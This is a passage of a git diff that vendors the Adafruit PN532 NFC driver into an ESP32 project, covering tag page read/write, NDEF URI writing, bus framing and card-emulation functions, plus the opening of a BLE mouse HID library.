Adafruit_PN532::PrintHexChar(pn532_packetbuffer, 26); +#endif + return 0; + } + +/* Display data for debug if requested */ +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F("Page ")); + PN532DEBUGPRINT.print(page); + PN532DEBUGPRINT.println(F(":")); + Adafruit_PN532::PrintHexChar(buffer, 4); +#endif + + // Return OK signal + return 1; +} + +/**************************************************************************/ +/*! + Tries to write an entire 4-byte page at the specified block + address. + + @param page The page number to write. (0..63 for most cases) + @param data The byte array that contains the data to write. + Should be exactly 4 bytes long. + + @returns 1 if everything executed properly, 0 for an error +*/ +/**************************************************************************/ +uint8_t Adafruit_PN532::mifareultralight_WritePage(uint8_t page, + uint8_t *data) { + + if (page >= 64) { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Page value out of range")); +#endif + // Return Failed Signal + return 0; + } + +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F("Trying to write 4 byte page")); + PN532DEBUGPRINT.println(page); +#endif + + /* Prepare the first command */ + pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE; + pn532_packetbuffer[1] = 1; /* Card number */ + pn532_packetbuffer[2] = + MIFARE_ULTRALIGHT_CMD_WRITE; /* Mifare Ultralight Write command = 0xA2 */ + pn532_packetbuffer[3] = page; /* Page Number (0..63 for most cases) */ + memcpy(pn532_packetbuffer + 4, data, 4); /* Data Payload */ + + /* Send the command */ + if (!sendCommandCheckAck(pn532_packetbuffer, 8)) { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Failed to receive ACK for write command")); +#endif + + // Return Failed Signal + return 0; + } + delay(10); + + /* Read the response packet */ + readdata(pn532_packetbuffer, 26); + + // Return OK Signal + return 1; +} + +/***** NTAG2xx Functions ******/ + +/**************************************************************************/ +/*! + @brief Tries to read an entire 4-byte page at the specified address. + + @param page The page number (0..63 in most cases) + @param buffer Pointer to the byte array that will hold the + retrieved data (if any) + @return 1 on success, 0 on error. +*/ +/**************************************************************************/ +uint8_t Adafruit_PN532::ntag2xx_ReadPage(uint8_t page, uint8_t *buffer) { + // TAG Type PAGES USER START USER STOP + // -------- ----- ---------- --------- + // NTAG 203 42 4 39 + // NTAG 213 45 4 39 + // NTAG 215 135 4 129 + // NTAG 216 231 4 225 + + if (page >= 231) { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Page value out of range")); +#endif + return 0; + } + +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F("Reading page ")); + PN532DEBUGPRINT.println(page); +#endif + + /* Prepare the command */ + pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE; + pn532_packetbuffer[1] = 1; /* Card number */ + pn532_packetbuffer[2] = MIFARE_CMD_READ; /* Mifare Read command = 0x30 */ + pn532_packetbuffer[3] = page; /* Page Number (0..63 in most cases) */ + + /* Send the command */ + if (!sendCommandCheckAck(pn532_packetbuffer, 4)) { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Failed to receive ACK for write command")); +#endif + return 0; + } + + /* Read the response packet */ + readdata(pn532_packetbuffer, 26); +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Received: ")); + Adafruit_PN532::PrintHexChar(pn532_packetbuffer, 26); +#endif + + /* If byte 8 isn't 0x00 we probably have an error */ + if (pn532_packetbuffer[7] == 0x00) { + /* Copy the 4 data bytes to the output buffer */ + /* Block content starts at byte 9 of a valid response */ + /* Note that the command actually reads 16 byte or 4 */ + /* pages at a time ... we simply discard the last 12 */ + /* bytes */ + memcpy(buffer, pn532_packetbuffer + 8, 4); + } else { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Unexpected response reading block: ")); + Adafruit_PN532::PrintHexChar(pn532_packetbuffer, 26); +#endif + return 0; + } + +/* Display data for debug if requested */ +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F("Page ")); + PN532DEBUGPRINT.print(page); + PN532DEBUGPRINT.println(F(":")); + Adafruit_PN532::PrintHexChar(buffer, 4); +#endif + + // Return OK signal + return 1; +} + +/**************************************************************************/ +/*! + Tries to write an entire 4-byte page at the specified block + address. + + @param page The page number to write. (0..63 for most cases) + @param data The byte array that contains the data to write. + Should be exactly 4 bytes long. + + @returns 1 if everything executed properly, 0 for an error +*/ +/**************************************************************************/ +uint8_t Adafruit_PN532::ntag2xx_WritePage(uint8_t page, uint8_t *data) { + // TAG Type PAGES USER START USER STOP + // -------- ----- ---------- --------- + // NTAG 203 42 4 39 + // NTAG 213 45 4 39 + // NTAG 215 135 4 129 + // NTAG 216 231 4 225 + + if ((page < 4) || (page > 225)) { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Page value out of range")); +#endif + // Return Failed Signal + return 0; + } + +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F("Trying to write 4 byte page")); + PN532DEBUGPRINT.println(page); +#endif + + /* Prepare the first command */ + pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE; + pn532_packetbuffer[1] = 1; /* Card number */ + pn532_packetbuffer[2] = + MIFARE_ULTRALIGHT_CMD_WRITE; /* Mifare Ultralight Write command = 0xA2 */ + pn532_packetbuffer[3] = page; /* Page Number (0..63 for most cases) */ + memcpy(pn532_packetbuffer + 4, data, 4); /* Data Payload */ + + /* Send the command */ + if (!sendCommandCheckAck(pn532_packetbuffer, 8)) { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Failed to receive ACK for write command")); +#endif + + // Return Failed Signal + return 0; + } + delay(10); + + /* Read the response packet */ + readdata(pn532_packetbuffer, 26); + + // Return OK Signal + return 1; +} + +/**************************************************************************/ +/*! + Writes an NDEF URI Record starting at the specified page (4..nn) + + Note that this function assumes that the NTAG2xx card is + already formatted to work as an "NFC Forum Tag". + + @param uriIdentifier The uri identifier code (0 = none, 0x01 = + "http://www.", etc.) + @param url The uri text to write (null-terminated string). + @param dataLen The size of the data area for overflow checks. + + @returns 1 if everything executed properly, 0 for an error +*/ +/**************************************************************************/ +uint8_t Adafruit_PN532::ntag2xx_WriteNDEFURI(uint8_t uriIdentifier, char *url, + uint8_t dataLen) { + uint8_t pageBuffer[4] = {0, 0, 0, 0}; + + // Remove NDEF record overhead from the URI data (pageHeader below) + uint8_t wrapperSize = 12; + + // Figure out how long the string is + uint8_t len = strlen(url); + + // Make sure the URI payload will fit in dataLen (include 0xFE trailer) + if ((len < 1) || (len + 1 > (dataLen - wrapperSize))) + return 0; + + // Setup the record header + // See NFCForum-TS-Type-2-Tag_1.1.pdf for details + uint8_t pageHeader[12] = { + /* NDEF Lock Control TLV (must be first and always present) */ + 0x01, /* Tag Field (0x01 = Lock Control TLV) */ + 0x03, /* Payload Length (always 3) */ + 0xA0, /* The position inside the tag of the lock bytes (upper 4 = page + address, lower 4 = byte offset) */ + 0x10, /* Size in bits of the lock area */ + 0x44, /* Size in bytes of a page and the number of bytes each lock bit can + lock (4 bit + 4 bits) */ + /* NDEF Message TLV - URI Record */ + 0x03, /* Tag Field (0x03 = NDEF Message) */ + (uint8_t)(len + 5), /* Payload Length (not including 0xFE trailer) */ + 0xD1, /* NDEF Record Header (TNF=0x1:Well known record + SR + ME + MB) */ + 0x01, /* Type Length for the record type indicator */ + (uint8_t)(len + 1), /* Payload len */ + 0x55, /* Record Type Indicator (0x55 or 'U' = URI Record) */ + uriIdentifier /* URI Prefix (ex. 0x01 = "http://www.") */ + }; + + // Write 12 byte header (three pages of data starting at page 4) + memcpy(pageBuffer, pageHeader, 4); + if (!(ntag2xx_WritePage(4, pageBuffer))) + return 0; + memcpy(pageBuffer, pageHeader + 4, 4); + if (!(ntag2xx_WritePage(5, pageBuffer))) + return 0; + memcpy(pageBuffer, pageHeader + 8, 4); + if (!(ntag2xx_WritePage(6, pageBuffer))) + return 0; + + // Write URI (starting at page 7) + uint8_t currentPage = 7; + char *urlcopy = url; + while (len) { + if (len < 4) { + memset(pageBuffer, 0, 4); + memcpy(pageBuffer, urlcopy, len); + pageBuffer[len] = 0xFE; // NDEF record footer + if (!(ntag2xx_WritePage(currentPage, pageBuffer))) + return 0; + // DONE! + return 1; + } else if (len == 4) { + memcpy(pageBuffer, urlcopy, len); + if (!(ntag2xx_WritePage(currentPage, pageBuffer))) + return 0; + memset(pageBuffer, 0, 4); + pageBuffer[0] = 0xFE; // NDEF record footer + currentPage++; + if (!(ntag2xx_WritePage(currentPage, pageBuffer))) + return 0; + // DONE! + return 1; + } else { + // More than one page of data left + memcpy(pageBuffer, urlcopy, 4); + if (!(ntag2xx_WritePage(currentPage, pageBuffer))) + return 0; + currentPage++; + urlcopy += 4; + len -= 4; + } + } + + // Seems that everything was OK (?!) + return 1; +} + +/************** high level communication functions (handles both I2C and SPI) */ + +/**************************************************************************/ +/*! + @brief Tries to read the SPI or I2C ACK signal +*/ +/**************************************************************************/ +bool Adafruit_PN532::readack() { + uint8_t ackbuff[6]; + + if (spi_dev) { + uint8_t cmd = PN532_SPI_DATAREAD; + spi_dev->write_then_read(&cmd, 1, ackbuff, 6); + } else if (i2c_dev || ser_dev) { + readdata(ackbuff, 6); + } + + return (0 == memcmp((char *)ackbuff, (char *)pn532ack, 6)); +} + +/**************************************************************************/ +/*! + @brief Return true if the PN532 is ready with a response. +*/ +/**************************************************************************/ +bool Adafruit_PN532::isready() { + if (spi_dev) { + // SPI ready check via Status Request + uint8_t cmd = PN532_SPI_STATREAD; + uint8_t reply; + spi_dev->write_then_read(&cmd, 1, &reply, 1); + return reply == PN532_SPI_READY; + } else if (i2c_dev) { + // I2C ready check via reading RDY byte + uint8_t rdy[1]; + i2c_dev->read(rdy, 1); + return rdy[0] == PN532_I2C_READY; + } else if (ser_dev) { + // Serial ready check based on non-zero read buffer + return (ser_dev->available() != 0); + } else if (_irq != -1) { + uint8_t x = digitalRead(_irq); + return x == 0; + } + return false; +} + +/**************************************************************************/ +/*! + @brief Waits until the PN532 is ready. + + @param timeout Timeout before giving up +*/ +/**************************************************************************/ +bool Adafruit_PN532::waitready(uint16_t timeout) { + uint16_t timer = 0; + while (!isready()) { + if (timeout != 0) { + timer += 10; + if (timer > timeout) { +#ifdef PN532DEBUG + PN532DEBUGPRINT.println("TIMEOUT!"); +#endif + return false; + } + } + delay(10); + } + return true; +} + +/**************************************************************************/ +/*! + @brief Reads n bytes of data from the PN532 via SPI or I2C. + + @param buff Pointer to the buffer where data will be written + @param n Number of bytes to be read +*/ +/**************************************************************************/ +void Adafruit_PN532::readdata(uint8_t *buff, uint8_t n) { + if (spi_dev) { + // SPI read + uint8_t cmd = PN532_SPI_DATAREAD; + spi_dev->write_then_read(&cmd, 1, buff, n); + } else if (i2c_dev) { + // I2C read + uint8_t rbuff[n + 1]; // +1 for leading RDY byte + i2c_dev->read(rbuff, n + 1); + for (uint8_t i = 0; i < n; i++) { + buff[i] = rbuff[i + 1]; + } + } else if (ser_dev) { + // Serial read + ser_dev->readBytes(buff, n); + } +#ifdef PN532DEBUG + PN532DEBUGPRINT.print(F("Reading: ")); + for (uint8_t i = 0; i < n; i++) { + PN532DEBUGPRINT.print(F(" 0x")); + PN532DEBUGPRINT.print(buff[i], HEX); + } + PN532DEBUGPRINT.println(); +#endif +} + +/**************************************************************************/ +/*! + @brief set the PN532 as iso14443a Target behaving as a SmartCard + @return true on success, false otherwise. + @note Author: Salvador Mendoza (salmg.net) new functions: + -AsTarget + -getDataTarget + -setDataTarget +*/ +/**************************************************************************/ +uint8_t Adafruit_PN532::AsTarget() { + pn532_packetbuffer[0] = 0x8C; + uint8_t target[] = { + 0x8C, // INIT AS TARGET + 0x00, // MODE -> BITFIELD + 0x08, 0x00, // SENS_RES - MIFARE PARAMS + 0xdc, 0x44, 0x20, // NFCID1T + 0x60, // SEL_RES + 0x01, 0xfe, // NFCID2T MUST START WITH 01fe - FELICA PARAMS - POL_RES + 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7, 0xc0, + 0xc1, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7, // PAD + 0xff, 0xff, // SYSTEM CODE + 0xaa, 0x99, 0x88, 0x77, 0x66, 0x55, 0x44, + 0x33, 0x22, 0x11, 0x01, 0x00, // NFCID3t MAX 47 BYTES ATR_RES + 0x0d, 0x52, 0x46, 0x49, 0x44, 0x49, 0x4f, + 0x74, 0x20, 0x50, 0x4e, 0x35, 0x33, 0x32 // HISTORICAL BYTES + }; + if (!sendCommandCheckAck(target, sizeof(target))) + return false; + + // read data packet + readdata(pn532_packetbuffer, 8); + + int offset = 6; + return (pn532_packetbuffer[offset] == 0x15); +} +/**************************************************************************/ +/*! + @brief Retrieve response from the emulation mode + + @param cmd = data + @param cmdlen = data length + @return true on success, false otherwise. +*/ +/**************************************************************************/ +uint8_t Adafruit_PN532::getDataTarget(uint8_t *cmd, uint8_t *cmdlen) { + uint8_t length; + pn532_packetbuffer[0] = 0x86; + if (!sendCommandCheckAck(pn532_packetbuffer, 1, 1000)) { + PN532DEBUGPRINT.println(F("Error en ack")); + return false; + } + + // read data packet + readdata(pn532_packetbuffer, 64); + length = pn532_packetbuffer[3] - 3; + + // if (length > *responseLength) {// Bug, should avoid it in the reading + // target data + // length = *responseLength; // silent truncation... + //} + + for (int i = 0; i < length; ++i) { + cmd[i] = pn532_packetbuffer[8 + i]; + } + *cmdlen = length; + return true; +} + +/**************************************************************************/ +/*! + @brief Set data in PN532 in the emulation mode + + @param cmd = data + @param cmdlen = data length + @return true on success, false otherwise. +*/ +/**************************************************************************/ +uint8_t Adafruit_PN532::setDataTarget(uint8_t *cmd, uint8_t cmdlen) { + uint8_t length; + // cmd1[0] = 0x8E; Must! + + if (!sendCommandCheckAck(cmd, cmdlen)) + return false; + + // read data packet + readdata(pn532_packetbuffer, 8); + length = pn532_packetbuffer[3] - 3; + for (int i = 0; i < length; ++i) { + cmd[i] = pn532_packetbuffer[8 + i]; + } + // cmdl = 0 + cmdlen = length; + + int offset = 6; + return (pn532_packetbuffer[offset] == 0x15); +} + +/**************************************************************************/ +/*! + @brief Writes a command to the PN532, automatically inserting the + preamble and required frame details (checksum, len, etc.) + + @param cmd Pointer to the command buffer + @param cmdlen Command length in bytes +*/ +/**************************************************************************/ +void Adafruit_PN532::writecommand(uint8_t *cmd, uint8_t cmdlen) { + if (spi_dev) { + // SPI command write. + uint8_t checksum; + uint8_t packet[9 + cmdlen]; + uint8_t *p = packet; + cmdlen++; + + p[0] = PN532_SPI_DATAWRITE; + p++; + + p[0] = PN532_PREAMBLE; + p++; + p[0] = PN532_STARTCODE1; + p++; + p[0] = PN532_STARTCODE2; + p++; + checksum = PN532_PREAMBLE + PN532_STARTCODE1 + PN532_STARTCODE2; + + p[0] = cmdlen; + p++; + p[0] = ~cmdlen + 1; + p++; + + p[0] = PN532_HOSTTOPN532; + p++; + checksum += PN532_HOSTTOPN532; + + for (uint8_t i = 0; i < cmdlen - 1; i++) { + p[0] = cmd[i]; + p++; + checksum += cmd[i]; + } + + p[0] = ~checksum; + p++; + p[0] = PN532_POSTAMBLE; + p++; + +#ifdef PN532DEBUG + Serial.print("Sending : "); + for (int i = 1; i < 8 + cmdlen; i++) { + Serial.print("0x"); + Serial.print(packet[i], HEX); + Serial.print(", "); + } + Serial.println(); +#endif + + spi_dev->write(packet, 8 + cmdlen); + } else if (i2c_dev || ser_dev) { + // I2C or Serial command write. + uint8_t packet[8 + cmdlen]; + uint8_t LEN = cmdlen + 1; + + packet[0] = PN532_PREAMBLE; + packet[1] = PN532_STARTCODE1; + packet[2] = PN532_STARTCODE2; + packet[3] = LEN; + packet[4] = ~LEN + 1; + packet[5] = PN532_HOSTTOPN532; + uint8_t sum = 0; + for (uint8_t i = 0; i < cmdlen; i++) { + packet[6 + i] = cmd[i]; + sum += cmd[i]; + } + packet[6 + cmdlen] = ~(PN532_HOSTTOPN532 + sum) + 1; + packet[7 + cmdlen] = PN532_POSTAMBLE; + +#ifdef PN532DEBUG + Serial.print("Sending : "); + for (int i = 1; i < 8 + cmdlen; i++) { + Serial.print("0x"); + Serial.print(packet[i], HEX); + Serial.print(", "); + } + Serial.println(); +#endif + + if (i2c_dev) { + i2c_dev->write(packet, 8 + cmdlen); + } else { + ser_dev->write(packet, 8 + cmdlen); + } + } +} diff --git a/src/libs/Adafruit_PN532.h b/src/libs/Adafruit_PN532.h new file mode 100644 index 0000000..f59e576 --- /dev/null +++ b/src/libs/Adafruit_PN532.h @@ -0,0 +1,223 @@ +/**************************************************************************/ +/*! + @file Adafruit_PN532.h + + v2.0 - Refactored to add I2C support from Adafruit_NFCShield_I2C library. + + v1.1 - Added full command list + - Added 'verbose' mode flag to constructor to toggle debug output + - Changed readPassiveTargetID() to return variable length values +*/ +/**************************************************************************/ + +#ifndef ADAFRUIT_PN532_H +#define ADAFRUIT_PN532_H + +#include "Arduino.h" + +#include <Adafruit_I2CDevice.h> +#include <Adafruit_SPIDevice.h> + +#define PN532_PREAMBLE (0x00) ///< Command sequence start, byte 1/3 +#define PN532_STARTCODE1 (0x00) ///< Command sequence start, byte 2/3 +#define PN532_STARTCODE2 (0xFF) ///< Command sequence start, byte 3/3 +#define PN532_POSTAMBLE (0x00) ///< EOD + +#define PN532_HOSTTOPN532 (0xD4) ///< Host-to-PN532 +#define PN532_PN532TOHOST (0xD5) ///< PN532-to-host + +// PN532 Commands +#define PN532_COMMAND_DIAGNOSE (0x00) ///< Diagnose +#define PN532_COMMAND_GETFIRMWAREVERSION (0x02) ///< Get firmware version +#define PN532_COMMAND_GETGENERALSTATUS (0x04) ///< Get general status +#define PN532_COMMAND_READREGISTER (0x06) ///< Read register +#define PN532_COMMAND_WRITEREGISTER (0x08) ///< Write register +#define PN532_COMMAND_READGPIO (0x0C) ///< Read GPIO +#define PN532_COMMAND_WRITEGPIO (0x0E) ///< Write GPIO +#define PN532_COMMAND_SETSERIALBAUDRATE (0x10) ///< Set serial baud rate +#define PN532_COMMAND_SETPARAMETERS (0x12) ///< Set parameters +#define PN532_COMMAND_SAMCONFIGURATION (0x14) ///< SAM configuration +#define PN532_COMMAND_POWERDOWN (0x16) ///< Power down +#define PN532_COMMAND_RFCONFIGURATION (0x32) ///< RF config +#define PN532_COMMAND_RFREGULATIONTEST (0x58) ///< RF regulation test +#define PN532_COMMAND_INJUMPFORDEP (0x56) ///< Jump for DEP +#define PN532_COMMAND_INJUMPFORPSL (0x46) ///< Jump for PSL +#define PN532_COMMAND_INLISTPASSIVETARGET (0x4A) ///< List passive target +#define PN532_COMMAND_INATR (0x50) ///< ATR +#define PN532_COMMAND_INPSL (0x4E) ///< PSL +#define PN532_COMMAND_INDATAEXCHANGE (0x40) ///< Data exchange +#define PN532_COMMAND_INCOMMUNICATETHRU (0x42) ///< Communicate through +#define PN532_COMMAND_INDESELECT (0x44) ///< Deselect +#define PN532_COMMAND_INRELEASE (0x52) ///< Release +#define PN532_COMMAND_INSELECT (0x54) ///< Select +#define PN532_COMMAND_INAUTOPOLL (0x60) ///< Auto poll +#define PN532_COMMAND_TGINITASTARGET (0x8C) ///< Init as target +#define PN532_COMMAND_TGSETGENERALBYTES (0x92) ///< Set general bytes +#define PN532_COMMAND_TGGETDATA (0x86) ///< Get data +#define PN532_COMMAND_TGSETDATA (0x8E) ///< Set data +#define PN532_COMMAND_TGSETMETADATA (0x94) ///< Set metadata +#define PN532_COMMAND_TGGETINITIATORCOMMAND (0x88) ///< Get initiator command +#define PN532_COMMAND_TGRESPONSETOINITIATOR (0x90) ///< Response to initiator +#define PN532_COMMAND_TGGETTARGETSTATUS (0x8A) ///< Get target status + +#define PN532_RESPONSE_INDATAEXCHANGE (0x41) ///< Data exchange +#define PN532_RESPONSE_INLISTPASSIVETARGET (0x4B) ///< List passive target + +#define PN532_WAKEUP (0x55) ///< Wake + +#define PN532_SPI_STATREAD (0x02) ///< Stat read +#define PN532_SPI_DATAWRITE (0x01) ///< Data write +#define PN532_SPI_DATAREAD (0x03) ///< Data read +#define PN532_SPI_READY (0x01) ///< Ready + +//#define PN532_I2C_ADDRESS (0x48 >> 1) ///< Default I2C address +// My fucking clone board for some goddamn reason uses the address 0x28 +#define PN532_I2C_ADDRESS (0x28) +#define PN532_I2C_READBIT (0x01) ///< Read bit +#define PN532_I2C_BUSY (0x00) ///< Busy +#define PN532_I2C_READY (0x01) ///< Ready +#define PN532_I2C_READYTIMEOUT (20) ///< Ready timeout + +#define PN532_MIFARE_ISO14443A (0x00) ///< MiFare + +// Mifare Commands +#define MIFARE_CMD_AUTH_A (0x60) ///< Auth A +#define MIFARE_CMD_AUTH_B (0x61) ///< Auth B +#define MIFARE_CMD_READ (0x30) ///< Read +#define MIFARE_CMD_WRITE (0xA0) ///< Write +#define MIFARE_CMD_TRANSFER (0xB0) ///< Transfer +#define MIFARE_CMD_DECREMENT (0xC0) ///< Decrement +#define MIFARE_CMD_INCREMENT (0xC1) ///< Increment +#define MIFARE_CMD_STORE (0xC2) ///< Store +#define MIFARE_ULTRALIGHT_CMD_WRITE (0xA2) ///< Write (MiFare Ultralight) + +// Prefixes for NDEF Records (to identify record type) +#define NDEF_URIPREFIX_NONE (0x00) ///< No prefix +#define NDEF_URIPREFIX_HTTP_WWWDOT (0x01) ///< HTTP www. prefix +#define NDEF_URIPREFIX_HTTPS_WWWDOT (0x02) ///< HTTPS www. prefix +#define NDEF_URIPREFIX_HTTP (0x03) ///< HTTP prefix +#define NDEF_URIPREFIX_HTTPS (0x04) ///< HTTPS prefix +#define NDEF_URIPREFIX_TEL (0x05) ///< Tel prefix +#define NDEF_URIPREFIX_MAILTO (0x06) ///< Mailto prefix +#define NDEF_URIPREFIX_FTP_ANONAT (0x07) ///< FTP +#define NDEF_URIPREFIX_FTP_FTPDOT (0x08) ///< FTP dot +#define NDEF_URIPREFIX_FTPS (0x09) ///< FTPS +#define NDEF_URIPREFIX_SFTP (0x0A) ///< SFTP +#define NDEF_URIPREFIX_SMB (0x0B) ///< SMB +#define NDEF_URIPREFIX_NFS (0x0C) ///< NFS +#define NDEF_URIPREFIX_FTP (0x0D) ///< FTP +#define NDEF_URIPREFIX_DAV (0x0E) ///< DAV +#define NDEF_URIPREFIX_NEWS (0x0F) ///< NEWS +#define NDEF_URIPREFIX_TELNET (0x10) ///< Telnet prefix +#define NDEF_URIPREFIX_IMAP (0x11) ///< IMAP prefix +#define NDEF_URIPREFIX_RTSP (0x12) ///< RTSP +#define NDEF_URIPREFIX_URN (0x13) ///< URN +#define NDEF_URIPREFIX_POP (0x14) ///< POP +#define NDEF_URIPREFIX_SIP (0x15) ///< SIP +#define NDEF_URIPREFIX_SIPS (0x16) ///< SIPS +#define NDEF_URIPREFIX_TFTP (0x17) ///< TFPT +#define NDEF_URIPREFIX_BTSPP (0x18) ///< BTSPP +#define NDEF_URIPREFIX_BTL2CAP (0x19) ///< BTL2CAP +#define NDEF_URIPREFIX_BTGOEP (0x1A) ///< BTGOEP +#define NDEF_URIPREFIX_TCPOBEX (0x1B) ///< TCPOBEX +#define NDEF_URIPREFIX_IRDAOBEX (0x1C) ///< IRDAOBEX +#define NDEF_URIPREFIX_FILE (0x1D) ///< File +#define NDEF_URIPREFIX_URN_EPC_ID (0x1E) ///< URN EPC ID +#define NDEF_URIPREFIX_URN_EPC_TAG (0x1F) ///< URN EPC tag +#define NDEF_URIPREFIX_URN_EPC_PAT (0x20) ///< URN EPC pat +#define NDEF_URIPREFIX_URN_EPC_RAW (0x21) ///< URN EPC raw +#define NDEF_URIPREFIX_URN_EPC (0x22) ///< URN EPC +#define NDEF_URIPREFIX_URN_NFC (0x23) ///< URN NFC + +#define PN532_GPIO_VALIDATIONBIT (0x80) ///< GPIO validation bit +#define PN532_GPIO_P30 (0) ///< GPIO 30 +#define PN532_GPIO_P31 (1) ///< GPIO 31 +#define PN532_GPIO_P32 (2) ///< GPIO 32 +#define PN532_GPIO_P33 (3) ///< GPIO 33 +#define PN532_GPIO_P34 (4) ///< GPIO 34 +#define PN532_GPIO_P35 (5) ///< GPIO 35 + +/** + * @brief Class for working with Adafruit PN532 NFC/RFID breakout boards. + */ +class Adafruit_PN532 { +public: + Adafruit_PN532(uint8_t clk, uint8_t miso, uint8_t mosi, + uint8_t ss); // Software SPI + Adafruit_PN532(uint8_t ss, SPIClass *theSPI = &SPI); // Hardware SPI + Adafruit_PN532(uint8_t irq, uint8_t reset, + TwoWire *theWire = &Wire); // Hardware I2C + Adafruit_PN532(uint8_t reset, HardwareSerial *theSer); // Hardware UART + bool begin(void); + + void reset(void); + void wakeup(void); + + // Generic PN532 functions + bool SAMConfig(void); + uint32_t getFirmwareVersion(void); + bool sendCommandCheckAck(uint8_t *cmd, uint8_t cmdlen, + uint16_t timeout = 100); + bool writeGPIO(uint8_t pinstate); + uint8_t readGPIO(void); + bool setPassiveActivationRetries(uint8_t maxRetries); + + // ISO14443A functions + bool readPassiveTargetID( + uint8_t cardbaudrate, uint8_t *uid, uint8_t *uidLength, + uint16_t timeout = 0); // timeout 0 means no timeout - will block forever. + bool startPassiveTargetIDDetection(uint8_t cardbaudrate); + bool readDetectedPassiveTargetID(uint8_t *uid, uint8_t *uidLength); + bool inDataExchange(uint8_t *send, uint8_t sendLength, uint8_t *response, + uint8_t *responseLength); + bool inListPassiveTarget(); + uint8_t AsTarget(); + uint8_t getDataTarget(uint8_t *cmd, uint8_t *cmdlen); + uint8_t setDataTarget(uint8_t *cmd, uint8_t cmdlen); + + // Mifare Classic functions + bool mifareclassic_IsFirstBlock(uint32_t uiBlock); + bool mifareclassic_IsTrailerBlock(uint32_t uiBlock); + uint8_t mifareclassic_AuthenticateBlock(uint8_t *uid, uint8_t uidLen, + uint32_t blockNumber, + uint8_t keyNumber, uint8_t *keyData); + uint8_t mifareclassic_ReadDataBlock(uint8_t blockNumber, uint8_t *data); + uint8_t mifareclassic_WriteDataBlock(uint8_t blockNumber, uint8_t *data); + uint8_t mifareclassic_FormatNDEF(void); + uint8_t mifareclassic_WriteNDEFURI(uint8_t sectorNumber, + uint8_t uriIdentifier, const char *url); + + // Mifare Ultralight functions + uint8_t mifareultralight_ReadPage(uint8_t page, uint8_t *buffer); + uint8_t mifareultralight_WritePage(uint8_t page, uint8_t *data); + + // NTAG2xx functions + uint8_t ntag2xx_ReadPage(uint8_t page, uint8_t *buffer); + uint8_t ntag2xx_WritePage(uint8_t page, uint8_t *data); + uint8_t ntag2xx_WriteNDEFURI(uint8_t uriIdentifier, char *url, + uint8_t dataLen); + + // Help functions to display formatted text + static void PrintHex(const byte *data, const uint32_t numBytes); + static void PrintHexChar(const byte *pbtData, const uint32_t numBytes); + +private: + int8_t _irq = -1, _reset = -1, _cs = -1; + int8_t _uid[7]; // ISO14443A uid + int8_t _uidLen; // uid len + int8_t _key[6]; // Mifare Classic key + int8_t _inListedTag; // Tg number of inlisted tag. + + // Low level communication functions that handle both SPI and I2C. + void readdata(uint8_t *buff, uint8_t n); + void writecommand(uint8_t *cmd, uint8_t cmdlen); + bool isready(); + bool waitready(uint16_t timeout); + bool readack(); + + Adafruit_SPIDevice *spi_dev = NULL; + Adafruit_I2CDevice *i2c_dev = NULL; + HardwareSerial *ser_dev = NULL; +}; + +#endif diff --git a/src/libs/BleConnectionStatus.cpp b/src/libs/BleConnectionStatus.cpp new file mode 100644 index 0000000..f01183b --- /dev/null +++ b/src/libs/BleConnectionStatus.cpp @@ -0,0 +1,18 @@ +#include "BleConnectionStatus.h" + +BleConnectionStatus::BleConnectionStatus(void) { +} + +void BleConnectionStatus::onConnect(BLEServer* pServer) +{ + this->connected = true; + BLE2902* desc = (BLE2902*)this->inputMouse->getDescriptorByUUID(BLEUUID((uint16_t)0x2902)); + desc->setNotifications(true); +} + +void BleConnectionStatus::onDisconnect(BLEServer* pServer) +{ + this->connected = false; + BLE2902* desc = (BLE2902*)this->inputMouse->getDescriptorByUUID(BLEUUID((uint16_t)0x2902)); + desc->setNotifications(false); +} diff --git a/src/libs/BleConnectionStatus.h b/src/libs/BleConnectionStatus.h new file mode 100644 index 0000000..b703150 --- /dev/null +++ b/src/libs/BleConnectionStatus.h @@ -0,0 +1,21 @@ +#ifndef ESP32_BLE_CONNECTION_STATUS_H +#define ESP32_BLE_CONNECTION_STATUS_H +#include "sdkconfig.h" +#if defined(CONFIG_BT_ENABLED) + +#include <BLEServer.h> +#include "BLE2902.h" +#include "BLECharacteristic.h" + +class BleConnectionStatus : public BLEServerCallbacks +{ +public: + BleConnectionStatus(void); + bool connected = false; + void onConnect(BLEServer* pServer); + void onDisconnect(BLEServer* pServer); + BLECharacteristic* inputMouse; +}; + +#endif // CONFIG_BT_ENABLED +#endif // ESP32_BLE_CONNECTION_STATUS_H diff --git a/src/libs/BleMouse.cpp b/src/libs/BleMouse.cpp new file mode 100644 index 0000000..665121e --- /dev/null +++ b/src/libs/BleMouse.cpp @@ -0,0 +1,173 @@ +#include <BLEDevice.h> +#include <BLEUtils.h> +#include <BLEServer.h> +#include "BLE2902.h" +#include "BLEHIDDevice.h" +#include "HIDTypes.h" +#include "HIDKeyboardTypes.h" +#include <driver/adc.h> +#include "sdkconfig.h" + +#include "BleConnectionStatus.h" +#include "BleMouse.h" + +#if defined(CONFIG_ARDUHAL_ESP_LOG) + #include "esp32-hal-log.h" + #define LOG_TAG "" +#else + #include "esp_log.h" + static const char* LOG_TAG = "BLEDevice"; +#endif + +static const uint8_t _hidReportDescriptor[] = { + USAGE_PAGE(1), 0x01, // USAGE_PAGE (Generic Desktop) + USAGE(1), 0x02, // USAGE (Mouse) + COLLECTION(1), 0x01, // COLLECTION (Application) + USAGE(1), 0x01, // USAGE (Pointer) + COLLECTION(1), 0x00, // COLLECTION (Physical) + // ------------------------------------------------- Buttons (Left, Right, Middle, Back, Forward) + USAGE_PAGE(1), 0x09, // 